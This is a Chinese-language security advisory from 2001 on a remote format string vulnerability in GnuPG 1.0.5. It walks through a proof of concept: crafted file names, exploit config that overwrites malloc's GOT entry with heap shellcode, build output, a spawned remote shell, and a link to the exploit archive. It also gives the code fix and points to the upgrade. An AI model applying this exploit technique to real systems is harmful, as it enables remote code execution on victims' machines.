GnuPG 存在远程格式化字符串漏洞发布时间:2001-05-30 更新时间:2001-05-30 严重程度:高 威胁程度:普通用户访问权限 错误类型:输入验证错误 利用方式:客户机模式 受影响系统 GnuPG <= 1.0.5详细描述 GnuPG是一个很流行的代替PGP的加密程序,你可以在(http://www.gnupg.org/) 找到更多信息,不过其中存在一个格式化字符串漏洞可以导致远程溢出。问题 存在于函数'do_get'中代码util/ttyio.c,这里有一个'tty_printf'调用存在格式化字符串漏洞: > tty_printf( prompt ); 如果gpg尝试解密没有以".gpg"结尾的文件,那么这个文件将会要求用户 输入,用户可以提供格式化字符串导致问题产生。 1,建立如下合法的格式化字符串作为文件名: $ echo "hello, how are you friend?" > %8x_%8x_%8x 2,加密这个文件: $ gpg -r fish@analog.org -e %8x_%8x_%8x gpg: this cipher algorithm is depreciated; please use a more standard one! $ ls %8x_%8x_%8x* %8x_%8x_%8x %8x_%8x_%8x.gpg 3,gpg会把".gpg"后缀加到新加密文件中,你把它变为其他名字: $ mv %8x_%8x_%8x.gpg %8x_%8x_%8x.el8 4,现在尝试解密: $ gpg %8x_%8x_%8x.el8 You need a passphrase to unlock the secret key for user: "fish stiqz (bleh) <fish@analog.org>" 1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F) gpg: %8x_%8x_%8x.el8: unknown suffix Enter new filename [ 80af5d9_ 80cefb8_ 80af5ca]: 注意上面%8x被扩展了,实际名字不是我们的格式化字符,最原始 的名字其实是作为加密数据的一部分在文件中的,所以你可以 修改任意名字。 $ mv %8x_%8x_%8x.el8 README.TXT $ gpg README.TXT You need a passphrase to unlock the secret key for user: "fish stiqz (bleh) <fish@analog.org>" 1024-bit ELG-E key, ID D31DF63D, created 2001-05-24 (main key ID 5ABD075F) gpg: README.TXT: unknown suffix Enter new filename [ 80af5d9_ 80cefb0_ 80af5ca]: 上面是简单解释了原理,但是对于远程攻击要判断被加密的 文件类型,远程环境的大小,libc映射的位置等,造成其 攻击的难度。下面是我们的思路: 第一,由于是远程攻击,我们只有2种方法把数据喂给gpg,1) 通过文件名2)通过在文件中的加密数据,第一种看起来更简单, 所以我使用第一种。 第二,由于限制了文件名大小,如系统LINUX只允许255字节,我们需要 短的格式化字符和更小的SHELLCODE,格式化字符和SHELLCODE的组合会 放在堆栈中,在有漏洞调用前,提示的(prompt)将在heap区建立,而格式化 字符将被拷贝进去,在文件数据中的文件名(我们的格式化字符和SHELLCODE的组合)也会拷贝到HEAP区,这样就允许两个不同位置防止远程SHELLCODE,第一个位置是通过iscntrl()建立的,所有0x00-0x1f和0x7f之间的字符将被过滤,但我对第一 个位置比较感兴趣,所以我选择了第一个位置放置远程SHELLCODE。 测试代码 (overwrite the GOT entry of malloc() to point to the shellcode on the heap) (from config.h in the exploit) /* <FIXME> */ /* location of the *local* copy of gpg, used to encrypt the file */ #define DEFAULT_GPG_PATH "/usr/local/bin/gpg" /* contents appended to the format string, or NULL if you want to skip it */ #define APPEND lnx_i386_remote_shellcode /* only needed if appending APPEND is defined, NULL if you wanna skip */ #define ARCHNOP "\x90" /* the overwrites (most definitely needed) */ short_write_t short_array[] = { /* overwrite 0x080c9dc4 (GOT of malloc) with 0x080cca60 (shellcode) */ { 0xca60, 0x080c9dc4 + 0 }, { 0x080c, 0x080c9dc4 + 2 }, { 0, 0 } }; /* </FIXME> */ Make the backdoored file: $ make clean && make rm -f *~ *.o gnupig gcc -Wall -O2 -g -c gnupig.c gcc -Wall -O2 -g -c common.c gcc -Wall -O2 -g -c file.c gcc -Wall -O2 -g -c shellcode.c gcc -Wall -O2 -g -c fmtstr.c gcc -Wall -O2 -g -o gnupig gnupig.o common.o file.o shellcode.o fmtstr.o $ ./gnupig -s -e 366 -a 4 -k fish@analog.org [0] shellcode passed. [1] running gpg to encrypt the dummy file. gpg: this cipher algorithm is depreciated; please use a more standard one! [2] created dummy file successfully. 用户运行gpg解密文件: $ gpg *.el8 ... Remote shell 派生: (in other terminal) $ telnet localhost 16705 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. id; uid=1000(fish) gid=100(users) exit; Connection closed by foreign host. 下载EXPLOIT CODE: http://archives.neohapsis.com/archives/bugtraq/2001-05/att-0281/01-gnupig.tar.gz 解决方案 解决方法: > tty_printf( "%s", prompt ); 或者下载最新的GnuPG (version 1.0.6): http://www.gnupg.org/download.html 相关信息 Synnergy Networks (http://www.synnergy.net/) By: fish stiqz <fish@synnergy.net> |